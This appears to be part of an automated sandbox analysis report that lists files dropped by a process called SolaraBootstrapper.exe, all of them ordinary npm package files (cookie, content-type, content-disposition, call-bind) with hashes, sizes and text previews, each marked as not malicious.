SSDEEP:	48:jjgT+XH8urjwT6fH8gxH8TIfH8W5j1kH8TUULgTH8W+gSFMSH8//8vUMeXkMebHm:8+XHXrA6fHTxHAIfHl5iHuUUWHDg5Hgj
MD5:	6C09DA27D70F11BE33C5BC1D70FE5860
SHA1:	B21805BE0C0DB457D1364ABE0103BA75A56FE66F
SHA-256:	67DA6DE7EA66108EA3F035648B367CB8BF7DAC8148B798A54B5B9DE8F7F6EF65
SHA-512:	8DD6654332B5660D787616252CA231283A6406DAE97E8F07E88FFACC2F8A0B38C0BFE1AEE5C5A734B4CB507EA51357CEF2BFE226F4CAB09D57C74D053F80C126
Malicious:	false
Preview:	'use strict';..var test = require('tape');..var callBound = require('../callBound');..test('callBound', function (t) {..// static primitive..t.equal(callBound('Array.length'), Array.length, 'Array.length yields itself');..t.equal(callBound('%Array.length%'), Array.length, '%Array.length% yields itself');...// static non-function object..t.equal(callBound('Array.prototype'), Array.prototype, 'Array.prototype yields itself');..t.equal(callBound('%Array.prototype%'), Array.prototype, '%Array.prototype% yields itself');..t.equal(callBound('Array.constructor'), Array.constructor, 'Array.constructor yields itself');..t.equal(callBound('%Array.constructor%'), Array.constructor, '%Array.constructor% yields itself');...// static function..t.equal(callBound('Date.parse'), Date.parse, 'Date.parse yields itself');..t.equal(callBound('%Date.parse%'), Date.parse, '%Date.parse% yields itself');...// prototype primitive..t.equal(callBound('Error.prototype.message'), Error.prototype.message, 'Error.pro

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\test\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3839
Entropy (8bit):	5.047899867943229
Encrypted:	false
SSDEEP:	48:Szw7b+suTX9wDg5JwOhalZw0T9JMXPPPvPBMAZFEqjFEuUcghD7GmypPW:1teXLhalZw0xJMJM6FEUFEvDCNk
MD5:	1D142C2D932051D54112BEA94FF6142A
SHA1:	A1346CE0B0477686C27C61C025285E591A49D95A
SHA-256:	C5CE4BFC6EAC66A6073F5C59868D1E9220C9F4E5CA5033CCFDD2D515D661D13D
SHA-512:	AF5F6F4E40EA030FC645BF1167DDF0157C8AAD1B060DF3A99B1EA322EB4E739E68E67CF9482131E9DA0771BFAA15E4903F696BE8913770C4A9DA589B7734C353
Malicious:	false
Preview:	'use strict';..var callBind = require('../');.var bind = require('function-bind');.var gOPD = require('gopd');.var hasStrictMode = require('has-strict-mode')();.var forEach = require('for-each');.var inspect = require('object-inspect');.var v = require('es-value-fixtures');..var test = require('tape');../. older engines have length nonconfigurable. * in io.js v3, it is configurable except on bound functions, hence the .bind(). */.var functionsHaveConfigurableLengths = !!(..gOPD..&& Object.getOwnPropertyDescriptor..&& Object.getOwnPropertyDescriptor(bind.call(function () {}), 'length').configurable.);..test('callBind', function (t) {..forEach(v.nonFunctions, function (nonFunction) {...t['throws'](....function () { callBind(nonFunction); },....TypeError,....inspect(nonFunction) + ' is not a function'...);..});...var sentinel = { sentinel: true };..var func = function (a, b) {...// eslint-disable-next-line no-invalid-this...return [!hasStrictMode && this === global ? undefined : this,

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\content-disposition\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1020
Entropy (8bit):	4.5877129982951255
Encrypted:	false
SSDEEP:	24:Bcv+MQU7HwJLc0Iwokt4ITWKAG4sEbI8lzd:BCQow0RIrLEI8Zd
MD5:	E8D0052290F58360AB7171937E407618
SHA1:	1DDB50C5AAC3E31107C3D5B245E4910FAB2CB9C9
SHA-256:	A4D8777EEE00A49A897E8ED80B8DEAEE05915106D03A5B652E0ED1CA5BD605FD
SHA-512:	AF3ED543FF9894CE3BE019DE8E88825BF71F167C5714F1DA9F65A9E5C02E6CB63463373C216F492867F0C8574B76DC033B2464EBE1C0F9FB4A75D7106A5B7C41
Malicious:	false
Preview:	0.5.4 / 2021-12-10.==================.. * deps: safe-buffer@5.2.1..0.5.3 / 2018-12-17.==================.. * Use `safe-buffer` for improved Buffer API..0.5.2 / 2016-12-08.==================.. * Fix `parse` to accept any linear whitespace character..0.5.1 / 2016-01-17.==================.. * perf: enable strict mode..0.5.0 / 2014-10-11.==================.. * Add `parse` function..0.4.0 / 2014-09-21.==================.. * Expand non-Unicode `filename` to the full ISO-8859-1 charset..0.3.0 / 2014-09-20.==================.. * Add `fallback` option. * Add `type` option..0.2.0 / 2014-09-19.==================.. * Reduce ambiguity of file names with hex escape in buggy browsers..0.1.2 / 2014-09-19.==================.. * Fix periodic invalid Unicode filename header..0.1.1 / 2014-09-19.==================.. * Fix invalid characters appearing in `filename` parameter..0.1.0 / 2014-09-18.==================.. Make the `filename` argument optional..0.0.0 / 2014-09-18.==================..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\content-disposition\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	5.1284116326456815
Encrypted:	false
SSDEEP:	24:0iJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:0iJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	13BABC4F212CE635D68DA544339C962B
SHA1:	4881AD2EC8EB2470A7049421047C6D076F48F1DE
SHA-256:	BD47CE7B88C7759630D1E2B9FCFA170A0F1FDE522BE09E13FB1581A79D090400
SHA-512:	40E30174433408E0E2ED46D24373B12DEF47F545D9183B7BCE28D4DDD8C8BB528075C7F20E118F37661DB9F1BBA358999D81A14425EB3E0A4A20865DFCB53182
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014-2017 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TORT OR OTHERWISE, ARISING

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\content-disposition\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	5205
Entropy (8bit):	5.075920246999701
Encrypted:	false
SSDEEP:	96:eXCnQ5B17X/AU4M58ZBB/WfUt41lFXTpGa+O/iOu:eyAFXz58ZBMT1l9bru
MD5:	CBD415AE5E4605F9CE13640C323D8AAF
SHA1:	E1D109D584A63DE2418ADFD8FB59B298D0D9368E
SHA-256:	871C5EC648B67AD1A5791C6C4F95E5BB5DF78ECC9AAE0A3387E2A08E068C6968
SHA-512:	4454179D3DDEEB49393DF168DB1867D19054C44B60E1DA5FF5555D26A8F0BA9CC5F3D5DADCE76EBCF0110924C440A10E01969FF701076A38A2FF8673DB6325D9
Malicious:	false
Preview:	# content-disposition..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][github-actions-ci-image]][github-actions-ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..Create and parse HTTP `Content-Disposition` header..## Installation..```sh.$ npm install content-disposition.```..## API..```js.var contentDisposition = require('content-disposition').```..### contentDisposition(filename, options)..Create an attachment `Content-Disposition` header value using the given file name,.if supplied. The `filename` is optional and if no file name is desired, but you.want to specify `options`, set `filename` to `undefined`...```js.res.setHeader('Content-Disposition', contentDisposition('. maths.pdf')).```..note HTTP headers are of the ISO-8859-1 character set. If you are writing this.header through a means different from `setHeader` in Node.js, you'll want to specify.the `

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\content-disposition\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10594
Entropy (8bit):	5.209240051881824
Encrypted:	false
SSDEEP:	192:NnPSCe5ZBHNVzX1t6/khk3bnEm+4qcVupDAGJvyAJK:NnPSD5ZBttXbMqenircgDAwrK
MD5:	43A307FF7DE26DBEC523EC966C434F94
SHA1:	ED7F187B72A7B1F81D113BAD5AA9347C242120D5
SHA-256:	E86A88A5D1A9DD74FAA753CA4E47A78E38AE930F3206E5E887CF6CB0AD70CBF8
SHA-512:	79C073D3F0DEA6C1606029B9A476CDCE30EBBFB7B6CA95935A2E3F2CC97E70F3F00DBE8B7067BEEA78DAE120F4941E60A7AA26592CFF18E5CDF56F335127092D
Malicious:	false
Preview:	/!. content-disposition. * Copyright(c) 2014-2017 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = contentDisposition.module.exports.parse = parse../. Module dependencies.. * @private. /..var basename = require('path').basename.var Buffer = require('safe-buffer').Buffer../. RegExp to match non attr-char, after encodeURIComponent (i.e. not including "%"). * @private. /..var ENCODE_URL_ATTR_CHAR_REGEXP = /[\x00-\x20"'(),/:;<=>?@[\\\]{}\x7f]/g // eslint-disable-line no-control-regex../*. RegExp to match percent encoding escape.. * @private. /..var HEX_ESCAPE_REGEXP = /%[0-9A-Fa-f]{2}/.var HEX_ESCAPE_REPLACE_REGEXP = /%([0-9A-Fa-f]{2})/g../. RegExp to match non-latin1 characters.. * @private. /..var NON_LATIN1_REGEXP = /[^\x20-\x7e\xa0-\xff]/g../. RegExp to match quoted-pair in RFC 2616. . quoted-pair = "\" CHAR. * CHAR = <any US-ASCII character (octets 0 - 127)>. * @private. */..var

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\content-disposition\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.797533045353308
Encrypted:	false
SSDEEP:	24:LAXr1C7Fwxwk0nuNAeRIZBYWiRcBjZKly8e1xyy:cRz0nuNAeRIz/Cejojg9
MD5:	5B285D4DB057E7E72225E8E928D2FFA3
SHA1:	1B871FFAEFE2A1FD69AA9B1538B4003BF0EAE9AB
SHA-256:	2459C0E8FBEB5716AB06E9EF73747BBA46ED2BC52E310BD4E9F0EF1F102DA61F
SHA-512:	DFE71AB6BCF40F32A26273A94F11439CBE3066BC3216061EE6EA9737D57B1CABF03A0E45B2FC50C4D0097A27E09197C7FD2B60090A91876671D2C709F31A29A4
Malicious:	false
Preview:	{. "name": "content-disposition",. "description": "Create and parse Content-Disposition header",. "version": "0.5.4",. "author": "Douglas Christopher Wilson <doug@somethingdoug.com>",. "license": "MIT",. "keywords": [. "content-disposition",. "http",. "rfc6266",. "res". ],. "repository": "jshttp/content-disposition",. "dependencies": {. "safe-buffer": "5.2.1". },. "devDependencies": {. "deep-equal": "1.0.1",. "eslint": "7.32.0",. "eslint-config-standard": "13.0.1",. "eslint-plugin-import": "2.25.3",. "eslint-plugin-markdown": "2.2.1",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "5.2.0",. "eslint-plugin-standard": "4.1.0",. "istanbul": "0.4.5",. "mocha": "9.1.3". },. "files": [. "LICENSE",. "HISTORY.md",. "README.md",. "index.js". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-ci": "istanbul co

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\content-type\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	523
Entropy (8bit):	4.497411680418859
Encrypted:	false
SSDEEP:	12:qX/whj2jbTj9ULZraEosaOQvBWgOT6rBTL:4whj4bvu9+iQBTL
MD5:	34C07BE57678E4FAB909ACB803F60BF3
SHA1:	7849515D1EAE1E583BE632399E4FEC61B1221DA2
SHA-256:	A8B6514926048A9BFAD6C058A3F374797D1A752B47D00B03B34FF61D093A3B5D
SHA-512:	14266B3992794E959E6CED09AEF48912F87A8F59DD6070CECC923D5CA86B9EB4821F2FE5EB5078C01DB832EE9FF58F6CA70AE687A9E1D1DE6144CAFE44A0F6CA
Malicious:	false
Preview:	1.0.5 / 2023-01-29.==================.. * perf: skip value escaping when unnecessary..1.0.4 / 2017-09-11.==================.. * perf: skip parameter parsing when no parameters..1.0.3 / 2017-09-10.==================.. * perf: remove argument reassignment..1.0.2 / 2016-05-09.==================.. * perf: enable strict mode..1.0.1 / 2015-02-13.==================.. * Improve missing `Content-Type` header error message..1.0.0 / 2015-02-01.==================.. * Initial implementation, derived from `media-typer@0.3.0`.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\content-type\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	5.104507231535383
Encrypted:	false
SSDEEP:	24:OiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:OiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	F4B767F006864F81A4901347FE4EFDAB
SHA1:	30FE93B3231DBDB9A122CF57C2C9A2AB28CEF682
SHA-256:	257AED98914108E91A337912727B6A802EEF218248507F74B76FAFFAFF517A38
SHA-512:	91435A4AE76BDE815E951E42663F8B648EB8E525EB5F26F098CBB713D57F25F44760BE3274674DADD4C407F174C5492AAB9B29E805FC24F5E0D3B9DF161DC5E5
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2015 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TORT OR OTHERWISE, ARISING FROM,

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\content-type\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2782
Entropy (8bit):	5.006110544776966
Encrypted:	false
SSDEEP:	48:SdC9zR0HyXKk8TX+xssdczUz4Ulkf24YaAKUxrhJpB1Azj:WCgEKQGUUUCfTHAFM
MD5:	CB19C8ABA870601AEE363AC2302DA33D
SHA1:	F41B2B41F354438D6ED00D1D028B54A93FA15862
SHA-256:	8793880CBC4FD7294DFF8562B71D9381EA1C0557422B66007920415BA439486E
SHA-512:	58991D9DCC472F56D93BF69B65EF6C5D0B1F4AD0A094A812411E75D32ADBE9A54FFB3739DDEB71DCED591BF2BE220740BC17AFF7E9087069C0DCE94A99B3468F
Malicious:	false
Preview:	# content-type..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-image]][node-url].[![Build Status][ci-image]][ci-url].[![Coverage Status][coveralls-image]][coveralls-url]..Create and parse HTTP Content-Type header according to RFC 7231..## Installation..```sh.$ npm install content-type.```..## API..```js.var contentType = require('content-type').```..### contentType.parse(string)..```js.var obj = contentType.parse('image/svg+xml; charset=utf-8').```..Parse a `Content-Type` header. This will return an object with the following.properties (examples are shown for the string `'image/svg+xml; charset=utf-8'`):.. - `type`: The media type (the type and subtype, always lower case).. Example: `'image/svg+xml'`.. - `parameters`: An object of the parameters in the media type (name of parameter. always lower case). Example: `{charset: 'utf-8'}`..Throws a `TypeError` if the string is missing or invalid...### contentType.pars

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\content-type\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5002
Entropy (8bit):	5.1700954979700535
Encrypted:	false
SSDEEP:	96:CJFvvhHgqZlI8IDzdlalSqZf/gf6GosMySqUqMGa9Nw+j0i8L:CJFHhAqbI8IdUYVhvJMG6Yii
MD5:	4781C7EA0309EDAC61C3A36E3EA9DA10
SHA1:	1B6E7E8D1963CE958CF0F225223FADB5EF12F86D
SHA-256:	7D76AE0F8ECC0A8C053DE97B0F695F3FA3DF33F692D1BD241307995304E5F63D
SHA-512:	D458F8962F44EC30BF519A54AEF063960D9CAC2A954493383FC2EF46781C3244740F18C7DAF1821B4E0BABBD56B356228F7247CE40DE9F3276DE91A71C66C78C
Malicious:	false
Preview:	/!. content-type. * Copyright(c) 2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. RegExp to match ( ";" parameter ) in RFC 7231 sec 3.1.1.1. . * parameter = token "=" ( token / quoted-string ). * token = 1tchar. tchar = "!" / "#" / "$" / "%" / "&" / "'" / "". / "+" / "-" / "." / "^" / "_" / "`" / "\|" / "~". * / DIGIT / ALPHA. * ; any VCHAR, except delimiters. * quoted-string = DQUOTE ( qdtext / quoted-pair ) DQUOTE. qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text. * obs-text = %x80-FF. * quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text ). /.var PARAM_REGEXP = /; ([!#$%&'+.^_`\|~0-9A-Za-z-]+) = ("(?:[\u000b\u0020\u0021\u0023-\u005b\u005d-\u007e\u0080-\u00ff]\|\\[\u000b\u0020-\u00ff])"\|[!#$%&'+.^_`\|~0-9A-Za-z-]+) /g // eslint-disable-line no-control-regex.var TEXT_REGEXP = /^[\u000b\u0020-\u007e\u0080-\u00ff]+$/ // eslint-disable-line no-control-regex.var TOKE

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\content-type\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1075
Entropy (8bit):	4.779931444103536
Encrypted:	false
SSDEEP:	12:9X+rQOr18EKiBVgTOmP+zLDWizi1Z0/lWozjktPERGCjPGWdVSYMiP09L6WqLA9c:dEr1X8ynDWiIZ2lWncB0xLvr105P6u
MD5:	0DE0482C40698C075E13E4D54FF34466
SHA1:	1545C6D8538D7E59F375D4AE4B0E0D10471A6C1C
SHA-256:	BD78A5427FFCA1966621301EDC6CAC2146C8C1E137F122161BA90DCA7EC89F77
SHA-512:	9F32408067AFA748AF8D23B4BBBE2657E566017435D4EAD1E63B6D12F8BEBB671EA82353A302340BB6F1CCD4852A3CB8ED340A3A8AF9CD058BD36653B3CD4BCB
Malicious:	false
Preview:	{. "name": "content-type",. "description": "Create and parse HTTP Content-Type header",. "version": "1.0.5",. "author": "Douglas Christopher Wilson <doug@somethingdoug.com>",. "license": "MIT",. "keywords": [. "content-type",. "http",. "req",. "res",. "rfc7231". ],. "repository": "jshttp/content-type",. "devDependencies": {. "deep-equal": "1.0.1",. "eslint": "8.32.0",. "eslint-config-standard": "15.0.1",. "eslint-plugin-import": "2.27.5",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "6.1.1",. "eslint-plugin-standard": "4.1.0",. "mocha": "10.2.0",. "nyc": "15.1.0". },. "files": [. "LICENSE",. "HISTORY.md",. "README.md",. "index.js". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spec --check-leaks --bail test/",. "test-ci": "nyc --reporter=lcovonly --reporter=text npm test",. "test-cov": "nyc --reporter=html --reporter=text npm test",.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie-signature\.npmignore

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.7454064259382482
Encrypted:	false
SSDEEP:	3:vKXRvRzRxUTj:vQvHWj
MD5:	4F2041BB781C6E873AEB359EF4B191D4
SHA1:	3CD6EDF0E8ECB60C8C6E8CBE76CD358712504D57
SHA-256:	083B765409C2FE14FA2382834CCCF719BFCDBC2FF9A90BE37D229038E1D0EEAE
SHA-512:	ABEEDD26DB3989B8442C520619EF6EFB70880AAF489265849571B16E78E0BD34426BB73EFD85E291CF0B50C77E87E6E3414C28FEE6DDD4E1083F564A5811AD97
Malicious:	false
Preview:	support.test.examples.*.sock.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie-signature\History.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	695
Entropy (8bit):	4.669112136603317
Encrypted:	false
SSDEEP:	12:lRn8w1XA35w4xvlO5ifHQBn9Uf91fUecIJ9QmJBY:lx8kKw4xvqiYBnu7fSgg
MD5:	DC394515CE0AD9E572ACAB06C54847CA
SHA1:	0EE29A80F02F08D73342842376E27BC3B7F7D3DB
SHA-256:	8BDE8405601443BD5186594728B3DC538B50CB5B0F283E26D1DE9B23D976ABFA
SHA-512:	7FEFC0A3C3825809696F3F00D9B0D023CEEC0731BC4FCA42797BB458039EC00563D41D621AE4EF8F5E15FC8FE4E7F3A174ABB9C47C3FD9EDCDAA5390DDB1F8EA
Malicious:	false
Preview:	1.0.6 / 2015-02-03.==================..* use `npm test` instead of `make test` to run tests.* clearer assertion messages when checking input...1.0.5 / 2014-09-05.==================..* add license to package.json..1.0.4 / 2014-06-25.==================.. * corrected avoidance of timing attacks (thanks @tenbits!)..1.0.3 / 2014-01-28.==================.. * [incorrect] fix for timing attacks..1.0.2 / 2014-01-28.==================.. * fix missing repository warning. * fix typo in test..1.0.1 / 2013-04-15.==================.. * Revert "Changed underlying HMAC algo. to sha512.". * Revert "Fix for timing attacks on MAC verification."..0.0.1 / 2010-01-03.==================.. * Initial release.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie-signature\Readme.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1490
Entropy (8bit):	5.34901447399893
Encrypted:	false
SSDEEP:	24:HofRPHOPUPaqiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFz:Hof1OM3iJfxfPvGt7ICMPH+sfINi3OM9
MD5:	57AE8B42DE3DD0C1F22D5F4CF191E15A
SHA1:	EEDF0DED937F36B8FF5054A5B08CF38FDC241DEB
SHA-256:	1621ED10D0B2F865EB8608E0474A356CF7A9737A384B6593B61B30A9F6E50366
SHA-512:	C725E8C112AE4FFB9593C512636D1C9208CF10BFB055901A00D0DC892C95617AD3300829256972BB3996914B085D0A862207D214D0F9342741135D7E1E0ECB91
Malicious:	false
Preview:	.# cookie-signature.. Sign and unsign cookies...## Example..```js.var cookie = require('cookie-signature');..var val = cookie.sign('hello', 'tobiiscool');.val.should.equal('hello.DGDUkGlIkCzPz+C0B064FNgHdEjox7ch8tOBGslZ5QI');..var val = cookie.sign('hello', 'tobiiscool');.cookie.unsign(val, 'tobiiscool').should.equal('hello');.cookie.unsign(val, 'luna').should.be.false;.```..## License ..(The MIT License)..Copyright (c) 2012 LearnBoost <tj@learnboost.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substanti

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie-signature\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1230
Entropy (8bit):	4.911262279846917
Encrypted:	false
SSDEEP:	24:y8EKm6LQiR88N3tHEonxHm5FdLQiMrUvN28wBhydQXu:XEP6L588NhEonxG57LUreNnahydQXu
MD5:	A9634AA95D321B9A6D90BEC5D3D23937
SHA1:	BB5C2C0A463AA10074CAF991F67681231B1F0C21
SHA-256:	8D762862020064468B4AF17E561EE1EE29D9D55311A1C19D958C4FF2BE912963
SHA-512:	214E27EDB4367AA2EF322C4D857A918EBD57BC825646184F90FA6911F830B3755FCE1FDFF30A5D231EA11BA4DDD82B4F2AFC36451289F0B4334C445E9A26DC48
Malicious:	false
Preview:	/*. Module dependencies.. /..var crypto = require('crypto');../. Sign the given `val` with `secret`.. . @param {String} val. * @param {String} secret. * @return {String}. * @api private. /..exports.sign = function(val, secret){. if ('string' != typeof val) throw new TypeError("Cookie value must be provided as a string.");. if ('string' != typeof secret) throw new TypeError("Secret string must be provided.");. return val + '.' + crypto. .createHmac('sha256', secret). .update(val). .digest('base64'). .replace(/\=+$/, '');.};../. Unsign and decode the given `val` with `secret`,. * returning `false` if the signature is invalid.. . @param {String} val. * @param {String} secret. * @return {String\|Boolean}. * @api private. */..exports.unsign = function(val, secret){. if ('string' != typeof val) throw new TypeError("Signed cookie string must be provided.");. if ('string' != typeof secret) throw new TypeError("Secret string must be provided.");. var str = va

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie-signature\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	492
Entropy (8bit):	4.665449318892376
Encrypted:	false
SSDEEP:	12:UJ18L3EnvI8AacPEMM9Gf6Pt0oCQWNWjVzUPnP6gv:UJ1E3bPj/2xCQWEpG
MD5:	076C53814237236A9D1AA999F33EE501
SHA1:	EB071423205FC35573E714BAA755E3A9E900A979
SHA-256:	AB66777A673AE096D6B5AA51B5EDB46B84E6FCD85DC03358C35576E3DF0464F5
SHA-512:	D5FEEE2E6C8AF31560A3141EBE4254CE66972DA9B9E3463EAFCEA214F49131E325136503DE3F0FA76B454F63EBFDBF5D599CAF558978AACA5A1656C2C7C8EEC1
Malicious:	false
Preview:	{. "name": "cookie-signature",. "version": "1.0.6",. "description": "Sign and unsign cookies",. "keywords": ["cookie", "sign", "unsign"],. "author": "TJ Holowaychuk <tj@learnboost.com>",. "license": "MIT",. "repository": { "type": "git", "url": "https://github.com/visionmedia/node-cookie-signature.git"},. "dependencies": {},. "devDependencies": {. "mocha": "",. "should": "". },. "scripts": {. "test": "mocha --require should --reporter spec". },. "main": "index".}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3189
Entropy (8bit):	4.721880816490292
Encrypted:	false
SSDEEP:	96:p7uDZLXwuBRE8i3gN62iNKqNxvGOrL8Xt:oQxZ55A
MD5:	4E6BE16D80C3254F3EAF7F246F2967D5
SHA1:	053CA9983A27FFE587F35AAE1F52868B1D743311
SHA-256:	01B9F8C4E28CCFB807D66D3787F68AFCBA8E27429AECEC7B50F8B61F960F104A
SHA-512:	F89B1A467604BE24C214D231757FF219F9435E8122B64EA6A46612F2430826CC81CC2F31F2F3A784EC23608D688FD0C55D7FF8935B08E89F91B2E8FB73ACAD49
Malicious:	false
Preview:	0.6.0 / 2023-11-06.==================.. * Add `partitioned` option..0.5.0 / 2022-04-11.==================.. * Add `priority` option. * Fix `expires` option to reject invalid dates. * perf: improve default decode speed. * perf: remove slow string split in parse..0.4.2 / 2022-02-02.==================.. * perf: read value only when assigning in parse. * perf: remove unnecessary regexp in parse..0.4.1 / 2020-04-21.==================.. * Fix `maxAge` option to reject invalid values..0.4.0 / 2019-05-15.==================.. * Add `SameSite=None` support..0.3.1 / 2016-05-26.==================.. * Fix `sameSite: true` to work with draft-7 clients. - `true` now sends `SameSite=Strict` instead of `SameSite`..0.3.0 / 2016-05-26.==================.. * Add `sameSite` option. - Replaces `firstPartyOnly` option, never implemented by browsers. * Improve error message when `encode` is not a function. * Improve error message when `expires` is not a `Date`..0.2.4 / 2016-05-20.==========

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1175
Entropy (8bit):	5.190518136258143
Encrypted:	false
SSDEEP:	24:ZNNiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFz:HNiJfxfPvGt7ICMPH+sfINi3OMFz
MD5:	BC85B43B6F963E8AB3F88E63628448CA
SHA1:	19188F18A6A18F0E02388529EC905BBBFA564F41
SHA-256:	C02110EEDC16C7114F1A9BDC026C65626CE1D9C7E27FD51A8E0FEEE8A48A6858
SHA-512:	49CAF8A6245F56AEEAFAF410053A72586BAC5F9943053CE8F86B6B9F20DCC8D9D553C5EEDA69075CA2951D4FA49E5F68C753C1F06DD556982307353478187C10
Malicious:	false
